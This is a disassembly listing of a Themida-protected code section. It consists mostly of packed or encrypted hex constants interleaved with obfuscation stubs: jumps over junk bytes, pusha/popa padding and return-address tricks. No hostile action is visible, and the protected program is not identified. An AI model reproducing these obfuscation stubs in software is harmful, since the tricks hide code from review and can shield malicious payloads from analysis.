75B130DCh, 0DB998456h dd 0B4BD6DDDh, 0AEB13245h, 402D456Eh, 533AC81h, 89059F9Fh dd 6BC1F0CDh, 151C7582h, 9472E8EEh, 5DA1DA79h, 0CF423256h dd 0C86FF716h, 0C176CFE3h, 6DB6FA90h, 3C3A5FFEh, 2A9A530Dh dd 0B13A3D52h, 0B4B13256h, 0AEB13250h, 0EDE35343h, 40324872h dd 6ABE5253h, 0EAB9DB8Ch, 0BC7A3256h, 5E385D96h, 0DED08443h dd 0A1B22229h, 57B176D3h, 2B065256h, 0D5B122BEh, 77280256h dd 0B2B65F2Bh, 0C5A1CF82h, 0A1841495h, 382F895Eh, 36EE6A65h dd 0ABB126BFh, 0BF44B056h, 46D0157Ah, 8BFBDAE1h, 151270F4h dd 3F2790DCh, 2CBE73D4h, 57B13253h, 7A0E3D36h, 0DA681937h dd 0EAB120D5h, 793A3D56h, 53B13256h, 5DB13251h, 942805DCh dd 0DE8DA1BDh, 0A4B0330Ah, 0D5B127DDh, 0EAA1DB56h, 0FDC43256h dd 90872523h, 5F4992DEh, 5152D9FCh, 0A809D49Bh, 0CB4ECDA9h dd 5B6B8D30h, 0EAB120BEh, 96458B56h, 0A3384800h, 0D6DF5F8Ch dd 0BAE7A73Bh, 0BEFA299Fh, 0ABB13251h, 0EB9132B8h, 0B35811A4h dd 75B48B37h, 53D13256h, 5DB1325Ah, 4B17D712h, 0D6466EA6h dd 94CC9547h, 0DA1AC137h, 0EAB138D8h, 75B4DB56h, 0AF9D3256h dd 0B402C518h, 514ECEF1h, 31D153AFh, 8AD6D8D7h, 0B472B930h dd 0E273CE9Fh, 0CABE5256h, 0BE353D94h, 3BB13256h, 0CF41B6EDh dd 0BB3ACB03h, 0ABB0B459h, 56443256h, 8A44CE92h, 75B2B359h dd 31D73256h, 52D1538Eh, 0AEB126DDh, 0D6BE5256h, 0ABB13256h dd 0D5B135BFh, 7D2CC956h, 0BBE3DF89h, 0B2F4B937h, 5DB13ABFh dd 35242256h, 6D7C39F3h, 0A7F40911h, 0D59EB059h, 0D1483256h dd 0F2BE2213h, 0BAB13273h, 5DB4DBAAh, 860E3256h, 90491D8Eh dd 0ABB1CE13h, 3C493256h, 0EAB13270h, 75B13ABFh, 7B2E3856h dd 5E2623C7h, 52F4F5E6h, 57B13257h, 0A0585336h, 3CB13256h dd 0EAB13250h, 0C2BBA972h, 53D0FCB0h, 5DB13245h, 8ED3CED1h dd 8F6E2E96h, 39A9ED0Ah, 342FE6C4h, 61A98A81h, 15D1CE13h dd 526A8D59h, 5DB13247h, 2498426Ch, 5CAABB4Ah, 72EC37FDh dd 8A5676CFh, 5BD06DB9h, 9CD15300h, 0BAB1325Ch, 0AF3D0826h dd 65EB06Fh, 5158A66Ch, 0AEB13256h, 0E3BB0A2Dh, 8A785331h dd 75B0B859h, 46443256h, 5DBDF037h, 0AEACB459h, 0D7BE3256h dd 0ABB13241h, 0D5B120BFh, 0D999B256h, 838B60B7h, 3566ECDBh dd 0FF8C591Ch, 5BF0BE69h, 57BDDB03h, 33A63256h, 0C32CFADAh dd 0B0968D33h, 993AA62Ah, 0BAB122BFh, 23324C56h, 494845BDh dd 0A1C555ECh, 1F80B341h, 2975B196h, 0EAB126BFh, 0B8B3DF56h dd 69AED19Dh, 0EF0F41DEh, 6691A84Dh, 0CDE48307h, 0A258520Ch dd 0C6B13256h, 6CBB1AA7h, 5FE50216h, 0BAB132BEh, 0B7306856h dd 0A8A8F195h, 926C8836h, 20BE5D86h, 0D5B13253h, 5C67B330h dd 0FED15340h, 0AB303DA5h, 0B4B13256h, 0AEB1325Ah, 864E65CAh dd 9D54A6BEh, 6B28F1BEh, 0E5780137h, 75B12BD0h, 0BAA5DB56h dd 0B8653256h, 864F2220h, 6040BA47h, 973D3E10h, 1866D29h dd 31829BBBh, 75BCDB36h, 207E3256h, 0E5B3B4FAh, 42FB74CBh dd 3179866Fh, 0CA827AEEh, 294D6FDFh, 91FC88DDh, 0F64D344Fh dd 3EBE3269h, 5DB130A6h, 0AEA9BD59h, 44583256h, 9CB13256h dd 95C7A7DBh, 28109816h, 0B4EDE878h, 3B07DD66h, 6232A9F4h dd 9B343DA9h, 58B13256h, 0ABB133D2h, 0D358C756h, 74B13256h dd 4C53DCA2h, 0AE76B1C4h, 5DB6DB36h, 3DEA3256h, 32D343Ah dd 9B42B330h, 0B4DA1D72h, 154E90BFh, 74323DA9h, 4FB13256h dd 5DB54DD5h, 0AEF4B659h, 0D7BE3256h, 0ABB1325Ah, 0D5B7BC59h dd 69BE3256h, 75B13256h, 0BABD4DD5h, 5D98B659h, 23BE3256h dd 57B1324Bh, 0ABA6B559h, 0C7583256h, 0ACB13256h, 13BAFAACh dd 0D68D99C2h, 0C0124A0Fh, 8091A2D9h, 57FADB5Eh, 54443256h dd 0DA4DCE13h, 0EAB135D0h, 0AB3A5256h, 0DB70B930h, 3DA5F5D5h dd 0AEB13EBFh, 9132F456h, 0BFA75821h, 2383E35Fh, 3D0C743h dd 8A4ECD49h, 0AC353DA3h, 52B13256h, 0AEB122D9h, 57BADB56h dd 462B3256h, 0AB564F49h, 6ED2CA31h, 65CEB1FEh, 0C353D53h dd 0B4B13256h, 0AEB13246h, 0C9150788h, 0CD9D0967h, 0D98C1761h dd 0BF10557Bh, 73A14DD5h, 0BA74B759h, 51583256h, 20B13256h dd 3D57E94Eh, 0EE4A78A9h, 9437A1A3h, 0EAB13CBFh, 0D8C83E56h dd 0C865E4F2h, 69A91394h, 0CE07D218h, 0A776B330h, 0EC3A53C8h dd 0D5B6DB52h, 7BAF3256h, 0EFA09806h, 79315208h, 3C42B9C6h dd 0CEBD6DDDh, 57B13BBEh, 0AF904456h, 0C1B593C2h, 6CBE4781h dd 75B13256h, 0AA3B3D0Eh dd 0B4B13256h, 0AEB1325Dh, 93A3385h, 3D2FF1A1h, 0B43EF120h dd 0EABFBA59h, 7C583256h, 63B13256h, 6EC1F6A4h, 0AE219D1Fh dd 57B1E5BFh, 0AD343D56h, 0B5B13256h, 253A5336h, 71F6B937h dd 31D0CB36h, 3DD13E09h, 2FBED8DCh, 57B13256h, 6A306437h dd 0C1D20B28h, 6C58530Fh, 9CB13256h, 0BAB13251h, 4684BDBEh dd 252E3081h, 44583611h, 58B13256h, 1246C0FCh, 0F4418592h dd 0ABA014C1h, 218ED65h, 23A12BCh, 0AEBFDB5Ah, 0EEBD3256h dd 4DACE913h, 924B2DE2h, 121C7735h, 15B56D7Dh, 0B502F3DDh dd 585AB137h, 2747B236h, 6867B330h, 0D432532Ah, 50BE3146h dd 0EAB1327Fh, 79313DAFh, 0B5B13256h, 5DB134DFh, 0AE343D56h dd 16B13256h, 0ABBEBB59h, 0DF583256h, 0F1B13256h, 87EA3E1h dd 25F01681h, 526819A8h, 0AEB129D0h, 42383D56h, 42B13256h dd 0D5B13246h, 0B63103E3h, 0DE11E371h, 0B3F7E86Eh, 7D1A7A95h dd 0AFB06EDFh, 57B134BFh, 21EC8E56h, 6D8B899Eh, 154ECDA9h dd 74363D36h, 46B13256h, 5DB48B37h, 0A5583256h, 0C3B13256h dd 9269005Dh, 0C6CB329Eh, 41422319h, 67353D36h, 52B13256h dd 5DB1325Ah, 0EA0EFED2h, 267EE76Bh, 0D7CC60B4h, 8109540Ch dd 0CA5853D9h, 9C4ECDABh, 0BAB13242h, 0D265BBA9h, 0CAB7B637h dd 0CD0ADA88h, 0AA343616h, 0D0FFE113h, 0AF3ACA37h, 7A78CAAAh dd 0BAB123D4h, 54585256h, 52B13256h, 0F5CAA54Fh, 0B9DA238Bh dd 0DA7253A3h, 0EAB13AD2h, 77343D56h, 0DAB13256h, 57586237h dd 67B13256h, 3C97F3ACh, 583367BFh, 3DD163D8h, 0EAB1325Fh dd 1622B218h, 4AE685E7h, 5DB6DA28h, 0F71F3256h, 6EF4D54Ch dd 0CDE96865h, 1A85F8D7h, 61D16137h, 1448B9A4h, 0BAB1DAA3h dd 0DCEB3256h, 0B77696BCh, 0DCBE5250h, 0ABB13256h, 0BB0F8830h dd 67BE5237h, 75B13253h, 75CB92EDh, 5DB8DB40h, 0F8483256h dd 19BE0096h, 0CA7BA7DFh, 0AE42A8DBh, 344344Fh, 75B13251h dd 18AD876Ah, 0E5B1A5FEh, 0AEB13232h, 57B13EBFh, 1822E256h dd 4D799366h, 2A8A561h, 0F4D7527Ah, 52615F88h, 5DB13242h dd 43B3FF35h, 149D7401h, 0EF61501Ah, 85C50B7Ah, 3556F621h dd 14E96A05h, 0BAB475BEh, 563ACE56h, 0A17009AAh, 57B13AD0h dd 0A9373D56h, 0B5B13256h, 0E9333D37h, 15B13256h, 295853A3h dd 3DB13256h, 0AC343DA3h, 0DDB13256h, 0E0B25397h, 148AC752h dd 0EA0FB059h, 76493256h, 0B158221Dh, 8EB13256h, 3EAA9237h dd 2715A50Ah, 6A8A8805h, 0D58DB059h, 0FE583256h, 0BFB13256h dd 886B0EAFh, 0D934EBA7h, 0D6FBD88Ch, 0A7FF766Ch, 42F47FD9h dd 0D5B13272h, 0EAA9BF59h, 66583256h, 51B13256h, 58577EB1h dd 15FA46FCh, 0ABA21389h, 17E88A18h, 4F589CB3h, 1FB13256h dd 75B1A6BFh, 5BE5256h, 5F3C3D80h, 0FEB13256h, 0DDBE530Fh dd 0ABB13250h, 160E3D36h, 703C53AFh, 73AB4941h, 4669B336h dd 0D6A31953h, 2ABE538Fh, 57B13245h, 0ABBCBB59h, 0DD583256h dd 9CB13256h, 4A1BECC0h, 45568F12h, 1758C785h, 0CEB13256h dd 57B1B159h, 26BE3256h, 0D5B13255h, 8B42B930h, 0B8CA8DBh dd 0B5D1344Ch, 8D30C2E9h, 0CC3EA49Fh, 563C3D37h, 5EB13256h dd 0C558E1A9h, 65B13256h, 9AF384E8h, 0A033A0BEh, 3CC8EA24h dd 475BF918h, 57B13253h, 1C34F805h, 0DAD1699Dh, 0EAB131D9h dd 0A151B256h, 0FF7BB330h, 0D6D153C9h, 0F7D0CB9Ch, 57B139BFh dd 0BDC3F256h, 739C57BAh, 1678FD6Bh, 75BADB0Eh, 73993256h dd 41D2E281h, 7559CC86h, 58D1F1C0h, 0AD58E0E1h, 0A6B13256h dd 0D7C6ED77h, 9CE45380h, 0BAB13247h, 45EA23BBh, 2D6B3D48h dd 0C308EF6Ch, 0A9E3EB52h, 0DA5DB9DAh, 0EAB133D2h, 7559CA56h dd 0E0B13256h, 9470D8D7h, 21BE344Fh, 57B13253h, 5EEF6036h dd 3C305237h, 0BF0BC9B3h, 75B13BBFh, 79D38356h, 0D4B9000Dh dd 5BD084C9h, 44595236h, 0F0B13256h, 3D705629h, 0BD77D1F2h dd 3FA235AFh, 0EAD694E1h, 3CD1DC76h, 6D30540Ch, 0DAD0B4F0h dd 0B2CAC1ECh, 903ACA50h, 0EAB6DB5Eh, 96663256h, 926D9B9Dh dd 5DB6DB99h, 0E8C63256h, 0F039851Ah, 0A4B6BB6Ch, 0D5B133D0h dd 61BECE56h, 75B13240h, 0BAA1BD59h, 56583256h, 46B13256h dd 0F7691185h, 177917FEh, 903A7A9Ch, 0AD38CA5Ah, 75B7DB52h dd 0BFBB3256h, 28ECBBD0h, 0CEA177DDh, 5159CADDh, 0A6B13256h dd 93C05938h, 0EABBDB40h, 0E8F93256h, 8ED799C0h, 7D3FFD9Ah dd 0E938530Dh, 5B3B3D5Ah, 0A4B13256h, 0D5B134D2h, 0EA383D56h dd 0FEB13256h, 0B5582613h, 71B13256h, 0D385EF81h, 81E60F28h dd 2D9A9E63h, 92381F91h, 5DBE5246h, 763A3D99h, 3AB13256h dd 3CD03D99h, 166BB836h, 75A67B9Ch, 694DFB37h, 52BE3246h dd 0EAB13257h, 154852AFh, 5A305436h, 4F597B2Ah, 0DBB13256h dd 5CB4735Ch, 6334273Bh, 1894754Ah, 3CF3B572h, 14D068FCh dd 0AB50B790h, 52F63445h, 0AEB133D1h, 4558CE56h, 82B13256h dd 0E16AA45Bh, 57BB4BF5h, 2F8D4BCBh, 14CEF755h, 2EAB5A8Ah dd 2ED19A41h, 8630F490h, 9D4F7541h, 3C04CD37h, 3B72148h dd 75B13242h, 296A21D0h, 4DDFE2BAh, 3A6B8490h, 0A5C4C7F9h dd 64E6DE3Eh, 0A982B7DBh, 15443440h, 79585286h, 38B13256h dd 46029E2Bh, 1D23B9F3h, 0BE105BF7h, 0ABB1325Fh, 0F98A03C8h dd 0D7940530h, 7AE3535Ah, 0BAB133D1h, 0D7BECE56h, 0AEB1325Bh dd 57B13ABFh, 628FAB56h, 0FB7F1FCBh, 3E3BBFD8h, 9CB72B2Bh dd 0BAB13245h, 2C0DD7CCh, 1B6C6CA7h, 0D4F80E5h, 0AB4412CBh dd 84265C77h, 0EAB134BFh, 0BD681856h, 459AC476h, 593A3D86h dd 0CEB13256h, 0DD05336h, 0AF3B3D36h, 0B3B13256h, 8B5B1BEEh dd 0A133BFAEh, 53B72B2Bh, 5DB1325Ah, 0F57EED3Fh, 0C2F1A378h dd 7EE4081Dh, 0D9F18559h, 0EAB4DB36h, 0A783256h, 318EB7D4h dd 853A53A6h, 0A14460A3h, 0A2EBC767h, 0AE58F155h, 90B13256h dd 0BADEE3EAh, 6C14B0DFh, 3CBE3445h, 5DB13251h, 0AEB0B659h dd 36443256h, 0CB44F1AAh, 1A305436h, 65BE7E06h, 0B13256h dd 0F516161h, 168Eh, 11E900h, 0D2340000h, 0A36D01DDh, 312039C0h dd 95C1BB05h, 521834D2h, 0E8F8h, 815A0000h, 19CC64EAh dd 0C0816006h, 3D35516Bh, 4149BF66h, 0DE961h, 4C00000h dd 8761D005h, 0AF260D39h, 0F1BDAF7h, 1980h, 14E900h, 0A270000h dd 0D93DE09Bh, 69269F39h, 657C8148h, 0A8689EBDh, 605263BDh dd 3890Fh, 0E9800000h, 6860F9Fh, 0F000000h, 84h, 828B6100h dd 61319A5h, 0C850Fh, 8D0F0000h, 6, 8B0Fh, 6DB90000h, 0F941C64Eh dd 0F60E1F7h, 28Fh, 0F616000h, 198Fh, 14E900h, 0E94E0000h dd 525EACB2h, 27121401h, 8E289577h, 0F686A82Bh, 5A61D001h dd 178D0Fh, 12E90000h, 0ED000000h, 0E9CFDD88h, 2903DE61h dd 489A33ABh, 0B964B798h, 303905ADh, 25F90000h, 7FFFFFFFh dd 5E9h, 4B3D8A00h, 8289BE22h, 61319A5h, 830F5AF5h, 1 dd 880F59F8h, 1, 8D0FC3F8h, 1, 8A0F60FCh, 3, 66CEBF0Fh dd 613BD6BEh, 6052FC51h, 7E9h, 7E75A900h, 987818E5h, 14E8h dd 64001200h, 505DB220h, 0ED7281E6h, 1A233587h, 0EF6586E9h dd 615FF855h, 0E8h, 0EA815A00h, 619CD9Bh, 0C88BFCF9h, 5800Fh dd 8A600000h, 0E861F9D3h, 0FFFFFE8Ah, 0DE9h, 23ECD400h dd 6A898D83h dd 0AE9BC8h, 0D23368E0h, 60F1F7FCh, 0FBC88166h, 557BA63h dd 8B61007Fh, 1880FC2h, 0F8000000h, 0AE95Ah, 13250000h dd 55F67260h, 1B98DCB9h, 0F506059h, 8Dh, 12E85B00h, 9B000000h dd 7FC9000Dh, 493F8582h, 0AD9F86B3h, 0D57D95BAh, 58FEB18Fh dd 0EE9C361h, 51000000h, 0CD5A8F0h, 0C137A2C5h, 43FF39F9h dd 60C08B71h, 7E9h, 95A8B000h, 534581E3h, 0C08B61F9h, 0E8E0Fh dd 9E90000h, 0DA000000h, 0FB360DAh, 0B173019h, 9200858Dh dd 0FFF90619h, 8B66F9D0h, 0D48060C1h, 0DE95Bh, 9ED90000h dd 0E2D7FB2Ch, 0A3E26888h, 6144890Fh, 0CC40858Dh, 6E90619h dd 75000000h, 32577986h, 1D85894Ch, 0F061309h, 186h, 0CE9FC00h dd 60000000h, 0C9B44806h, 3058EC7Bh, 8DCB375Ch, 19CD6A85h dd 0F60FC06h, 28Bh, 66F18B00h, 7AA3C381h, 0C9858961h, 0F061301h dd 882h, 28E0F00h, 60000000h, 0B8F561h, 0F5000000h, 840FC00Bh dd 158h, 0E185C6F9h, 56061311h, 0EE9h, 8CAFF500h, 29A2D51h dd 0E8CCBF04h, 681B6D09h, 0A9C530DFh, 0E9B5FFF5h, 6006131Eh dd 5BFA8B53h, 33858D61h, 0E906167Ch, 0Fh, 66DB989Ch, 7CC6A624h dd 0B57D8C0h, 0FF758D97h, 816060D0h, 3E212CEFh, 14E83Fh dd 872A0000h, 926D7638h, 25D80ED5h, 0BAEF8438h, 22B716DFh dd 615BFFF2h, 0F961C38Bh, 0DB816050h, 42CA5D98h, 2850Fh dd 61600000h, 398D8D61h, 0F506131Ah, 6AFCF851h, 66536004h dd 515FD38Bh, 615E5853h, 100068h, 0FE900h, 78350000h, 451458Fh dd 0F3E692C4h, 9853C12h, 0B9B5FF80h, 0F06130Bh, 58Fh, 0B7F96000h dd 0D0FF611Dh, 0E840Fh, 9E90000h, 3F000000h, 767C9CAEh dd 0B63A1259h, 0BB9BD8Bh, 0F600613h, 18Bh, 0F53FC00h, 615FDEB7h dd 603C7F03h, 0DE8h, 0F6C7C900h, 0E056D950h, 17C7606Eh dd 11E97558h, 1E000000h, 0D6ED1B7Bh, 3AB5CA63h, 1951E01Fh dd 0E842992h, 0D18B665Eh, 0F8C78161h, 60000000h, 0EE8h dd 7F1A4100h, 3F0F2EDh, 739BDB9Bh, 8B44D163h, 0EE805ECFh dd 47C761FDh, 2024h, 800FFC60h, 0Ch, 6850Fh, 850F0000h dd 0 ; --------------------------------------------------------------------------- lea ebx, [ebp+6132A2Dh] pusha jb loc_5E931B jmp loc_5E931B ; --------------------------------------------------------------------------- dw 0BE02h dd 0DE65BF33h db 3Fh, 0E8h, 2 ; --------------------------------------------------------------------------- loc_5E931B: ; CODE XREF: Themida_:005E9307j ; Themida_:005E930Dj jmp loc_5E9331 ; --------------------------------------------------------------------------- dd 4764756Fh, 1966663Dh, 37430549h, 10139558h db 35h ; --------------------------------------------------------------------------- loc_5E9331: ; CODE XREF: Themida_:loc_5E931Bj popa mov eax, [ebx] jmp loc_5E9345 ; --------------------------------------------------------------------------- db 0F0h, 0CEh, 0DBh dd 8139130Ch, 523E80C3h db 21h ; --------------------------------------------------------------------------- loc_5E9345: ; CODE XREF: Themida_:005E9334j or eax, eax jz loc_5E9388 jmp loc_5E9366 ; --------------------------------------------------------------------------- dw 103Ch dd 4FFF5504h, 0BCF0854Dh, 0FEB9C752h, 0F847F917h db 43h, 0B8h ; --------------------------------------------------------------------------- loc_5E9366: ; CODE XREF: Themida_:005E934Dj mov eax, [eax] pusha mov ch, bh adc ebx, 3AF69F2Ch popa mov [ebx+4], eax jmp loc_5E9388 ; --------------------------------------------------------------------------- dw 67FEh dd 78CD3178h, 6C8C5C77h, 4CE23C9h ; --------------------------------------------------------------------------- loc_5E9388: ; CODE XREF: Themida_:005E9347j ; Themida_:005E9375j mov ecx, 234CF6h lea ecx, [ebp+619D179h] push 0 push ecx call sub_5E939E and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E939E proc near ; CODE XREF: Themida_:005E9396p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5E939E endp ; --------------------------------------------------------------------------- dw 8E9Fh ; --------------------------------------------------------------------------- jo short sub_5E93CF cmp eax, 398A3474h stosb mov ebx, [ebp+6131FBDh] mov [ebp+6131BBDh], ecx push 0 push ecx call sub_5E93CF and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E93CF proc near ; CODE XREF: Themida_:005E93B0j ; Themida_:005E93C7p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_5E93CF endp ; --------------------------------------------------------------------------- db 4Eh dd 0FE8CDh, 1D140000h, 1F2D54B9h, 0AA6880BDh, 96930519h dd 0AD9D2911h, 5B061308h, 18DD85C7h, 5CFC0613h, 8B600000h dd 1313A595h, 31853106h, 61061317h, 305585C7h, 613h, 0B58B0000h dd 6131D01h, 31EDB5FFh, 0B5010613h, 6132C61h, 1D8995FFh dd 852B0613h, 6133489h, 95FF006Ah, 6130DA9h, 0CEBC08Bh dd 0ACD8CF46h, 1E2FCEBCh, 0E902B114h, 0D2758D8Dh, 6A0619h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0EF7550C3h, 0F9F6CE65h, 12E8EA90h, 1C000000h, 965903Ah dd 9D24F3A0h, 576C929Ah, 0B62DB54Fh, 158531F7h, 58061301h dd 10718D01h, 8D890613h, 6131BBDh, 2EB99D89h, 85C70613h dd 61318DDh, 61B0h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 7EC35141h, 18E8754Bh, 1E1F7825h, 359D8B04h dd 0C7061305h, 13305585h, 6, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0E6FDBA45h dd 0E96E2B94h, 0Ch, 8AE9764Ch, 0FD6DC3DCh, 0A89FDB4Fh dd 0ED19D8Bh, 0B5FF0613h, 6131A95h, 0FFD9BF0Fh, 131D8995h dd 0C3B70F06h, 95FF006Ah, 6130DA9h, 49EBC08Bh, 22A8A756h dd 0E30A9FADh, 0A3929B0Ch, 4B4D8DFFh, 36CF0412h, 0C7D40112h dd 94E8F9Bh, 0E32D105Bh, 636C9E99h, 9F389618h, 405BD92Fh dd 193340FFh, 65D84E5Ch, 0EF7E9FC1h, 8630A294h, 93E091CEh dd 0AF091AC3h, 49636BD0h, 8E87Fh, 32B90000h, 85FB8A2Eh dd 0CA8B895Eh, 0CE85Bh, 0C8140000h, 809F8395h, 218B42FAh dd 0BD898B07h, 6132EC9h, 2C38159h, 8B00006Bh, 13204D8Dh dd 6806h, 95290000h, 61305BDh, 0BABE665Fh, 3B048BA9h, 76E0EDBEh dd 2DE88172h, 0B5592505h, 46F08189h, 92EB2E6h, 131269B5h dd 0DAF08106h, 66717C91h, 489D08Bh, 3DBD893Bh, 0B061311h dd 1319D18Dh, 3EF8306h, 0BA664FF5h, 0FF81CFA3h, 0FFFF9588h dd 0FFB7850Fh, 9D09FFFFh, 6130A89h, 8E8h, 24CAF000h, 0E89898Ah dd 0E85FF844h, 6, 0DFFBF431h, 9D297461h, 61325CDh, 35C7815Eh dd 8B000060h, 1317898Dh, 0B9DB2B06h, 0ECD2748h, 663B34FFh dd 0A9CFC181h, 81C28A5Ah, 2EDBEDC2h, 8D89564Ah, 6130B85h dd 92F28159h, 293D6F72h, 132501BDh, 55F28106h, 0B865EDFAh dd 0E0A4Bh, 0E91F1489h, 8, 5D8C5BE5h, 0DEF3D29Ah, 0C4DBD09h dd 0EB830613h, 8112B104h, 0FFA088FBh, 1D850FFFh, 81000000h dd 26B98AEEh, 30E91Eh, 0ED0C0000h, 0CE3219B1h, 8CFBF385h dd 8B5298FDh, 6B7DBB91h, 4890Fh, 0B9660000h, 7DE968DBh dd 67FFFFFFh, 8117F674h, 60C0B431h, 0BA797319h, 32E92BB9h dd 68000000h db 18h, 74h, 27h byte_5E96EF db 0 ; DATA XREF: sub_580566+1020Eo dd 0Bh dup(0) dd 0AB4E900h, 16680000h, 0E90619D6h, 0FFFA7328h, 19D6C768h dd 731EE906h, 0C768FFFAh, 0E90619D8h, 0FFFA7314h, 19D99368h dd 730AE906h, 1668FFFAh, 0E90619DBh, 0FFFA7300h, 19DC9668h dd 72F6E906h, 8468FFFAh, 0E90619DDh, 0FFFA72ECh, 0C8BAF515h dd 146E419Ch, 0C11F8C60h, 10723DD1h, 0C0227D64h, 537E1E10h dd 0C92E564Ch, 779400E2h, 0C2264E34h, 21E5F7E9h, 8D3C3FA9h dd 0F5200D42h, 894A6177h, 0F4CEDDFBh, 72E641DBh, 6EDA7266h dd 5E4494E8h, 2B7E0E2Ch, 0E13EA1F6h, 0E25A729Fh, 0FFBD7802h dd 4D5E7919h, 0AD466A4h, 0E1696D41h, 0BD780277h, 85F50345h dd 48CA0676h, 6A1Ch, 17FBE900h, 3F4B6077h, 4494E8D5h, 55F561A3h dd 4494E8E3h, 5C91A7D9h, 0D2DD31C2h, 371FE921h, 0D4664597h dd 0BD5D44C4h, 0F92B3EA1h, 3B5CC4B8h, 953CBD78h, 16BBC90Ah dd 2D8D4889h, 0BF9F0224h, 52FADEB2h, 0BD783BE6h, 0F68694D6h dd 48CA23C7h, 0EC8Bh, 0F7977B00h, 53C5C5DAh, 39BD7837h dd 0F4C60BA4h, 0CBE0F870h, 77D8FBFDh, 0FB894A61h, 377493D6h dd 38D84071h, 0A6EE0C9Fh, 1CA86942h, 0D991EFBCh, 4494E5A5h dd 6CB445A3h, 0ED05C71Dh, 0CB3D2DE8h, 0C1BB6BBEh, 2B57497Fh dd 1DCAF8CDh, 387DB870h, 0BBD74172h, 6B92D94Bh, 56DAFBBh dd 3936C4E7h, 7C14042Fh, 86F29A5Fh, 76BB6B92h, 0B4647634h dd 5EA43914h, 279FB3C1h, 0BD7884BDh, 43BF598Bh, 2F7926CBh dd 47E27C51h, 2E5437CFh, 4E42C74Ch, 422A4ABEh, 32CA42B7h dd 0AA432F79h, 0BCEECC05h, 722DD43Ch, 227D6410h, 0FF7401A9h dd 66634C70h, 84Eh, 60426D8Dh, 0ECD6D934h, 59476478h, 0E8DAD529h dd 584A557Ch, 0AB56F668h, 1E68EF4h, 0AF4C38AAh, 0FADE86FCh dd 19FDCFB1h, 8D3E0771h, 0CDF8F542h, 5B455A77h, 0E8DAD127h dd 0DD48D2BDh, 0BDEAD179h, 0A6D83EA1h, 3CE94F6Dh, 56F4BD78h dd 24EE1D8Dh, 9AB448CAh, 61000000h, 0FA146177h, 0D6BEF3B5h dd 0C84742Bh, 3320BAE5h, 94E5E599h, 0F0856344h, 0AC5E9318h dd 0F810845Eh, 31CB43B3h, 7781397Ah, 70BBC55Ah, 250D0088h dd 83EBC15Eh, 3C8E4368h, 0A1BB146Eh, 0E6FA9286h, 16C74CABh dd 5EC64D4h, 953C289Ah, 0F7D3810Ah, 153E70FFh, 79D74h dd 139C3E00h, 8728C5ADh, 18936919h, 8B24BAAAh, 1B846D15h dd 8705F9A5h, 174B356Ah, 8DF5EBC0h, 2F633D6Eh, 0DEF0D2D9h dd 3E26923Ah, 1916428Dh, 455A77ECh, 0DAD1275Bh, 7B9000E8h dd 0B1478330h, 7A93FBA2h, 0BC3E7C35h, 0CF58058h, 289C5593h dd 1E5DBD0h, 822F7091h, 0E882F696h, 487A4494h, 0ED777882h dd 1C30665Ch, 0EA6277D4h, 4494EE7Eh, 1CCE1C4Eh, 0AC1C381Ch dd 4494EE38h, 0C04CCE10h, 3EA1F3C5h, 544071B3h, 0D989F7B4h dd 5567ACFFh, 44A239CEh, 5CB4BD1Dh, 21512F7Ch, 9D2FE4C7h dd 36322726h, 0C646D2Dh, 0B1E1BFECh, 0BCE45457h, 0B66DA655h dd 98A96E35h, 0F0DFBF63h, 2B2C13AFh, 0F456E4A4h, 0F35BEDE6h dd 0C9229219h, 3FD931E2h, 603040CBh, 0EBF86697h, 4C367593h dd 0D2CD349Ch, 0C34FE921h, 0BDB85025h, 0A5658E21h, 8E5CAE63h dd 67DFF365h, 363248FDh, 6E7F99CBh, 0F9DD59D4h, 0D2B8459h dd 746B67Dh, 7688084Ch, 0D6427839h, 773C236h, 7288BA28h dd 0E868D012h, 0A05A9714h, 73A410B8h, 52942807h, 0FB855AC8h dd 94CCC830h, 84AE8A24h, 0E0B8224Ah, 0E451E81Ch, 16B913AFh dd 0BB432317h, 0FE22ED1Dh, 0A8AC5232h, 0D6D6C928h, 22EB1A62h dd 2A74425Ah, 0D3C4D13Ah, 3D7F0315h, 8A339D9h, 0E8E9EFCBh dd 0EB636DD4h, 9D27822h, 59676A99h, 35530D7h, 86E50000h dd 0C16CF661h, 8C1FBD55h, 0E888FC8Ch, 3E804494h, 156CDCBCh dd 873EA1FAh, 21B7F407h, 473F9FE1h, 3A7B5491h, 0E5C3DB03h dd 3EF56CBDh, 48A9B3BCh, 4B6FBB0h, 524652C6h, 4A634EBAh dd 32D63E3Ch, 48823879h, 64FB5AB2h, 0C7F9467Fh, 0E04BD50Ah dd 8A445C78h, 4E572884h, 567B0F29h, 0D04C5439h, 0AAAEAA8Eh dd 0D1D9D22Ah, 28205167h, 4D9F1355h, 0A038DC5Eh, 0BED950Bh dd 6A6B2BA0h, 0F5DEE9DDh, 59DD4h, 139C3E00h, 8728C5ADh dd 18936919h, 8B24BAAAh, 1B846D15h, 8705F9A5h, 174B356Ah dd 8DF5EBC0h, 2F633D6Eh, 0DEF0D2D9h, 3026923Ah, 1916428Dh dd 0DD48D2ECh, 19F55D79h, 0E8F064E4h, 96C84494h, 0CD6B9F54h dd 0A1F55A3Dh, 0E50E503Eh, 619219EFh, 0C2BF8C52h, 8D896DB8h dd 3970189h, 2365BD78h, 1F927515h, 5688C74Dh, 0FE647C6Ch dd 0AC767445h, 0BC1C7882h, 408A25B9h, 0C4E70193h, 13E07E0Fh dd 348E1DBBh, 0FF0D9928h, 241BD42h, 0D2960000h, 0D179DD48h dd 3EACB446h, 8E06F234h, 1E463C63h, 2127ECB3h, 2D9D50B1h dd 0BD72C4BBh, 58994F91h, 9BF498A2h, 8D1C20BCh, 30EC5A6Bh dd 32868292h, 572DF378h, 0D7C0770Fh, 4D1E2h, 0BFF00A00h dd 535CB1E1h, 0C4E7056Dh, 5758B6DEh, 0C7D8F969h, 0DB71E5D9h dd 4B37A9F6h, 0F1A1FFACh, 432F911Ah, 429C06A5h, 315ACE3Eh dd 3532428Dh, 0DD48D208h, 0B446D179h, 0BC343EACh, 995A901Bh dd 4DECD2Bh, 7E337890h, 